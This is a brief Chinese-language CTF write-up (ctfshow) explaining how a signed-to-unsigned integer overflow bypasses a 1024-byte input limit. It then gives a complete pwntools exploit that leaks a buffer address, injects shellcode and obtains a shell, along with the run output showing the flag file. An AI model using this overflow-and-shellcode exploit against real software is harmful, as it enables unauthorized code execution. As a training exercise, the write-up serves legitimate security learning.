这就是整数溢出漏洞的核心:利用有符号与无符号的转换规则,绕过程序对输入长度的限制(原本限制≤1024,变成了允许 65535 字节输入)。
from pwn import *
context.log_level='debug'
io = process("./pwn")
io.recv()
io.sendline(b'-1')
buf = int(io.recv(8),16)
io.recv()
payload = asm(shellcraft.sh()).ljust(0x41b+0x4,b'A') + p32(buf)
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 58
[*] Switching to interactive mode
$ ls
ctfshow_flag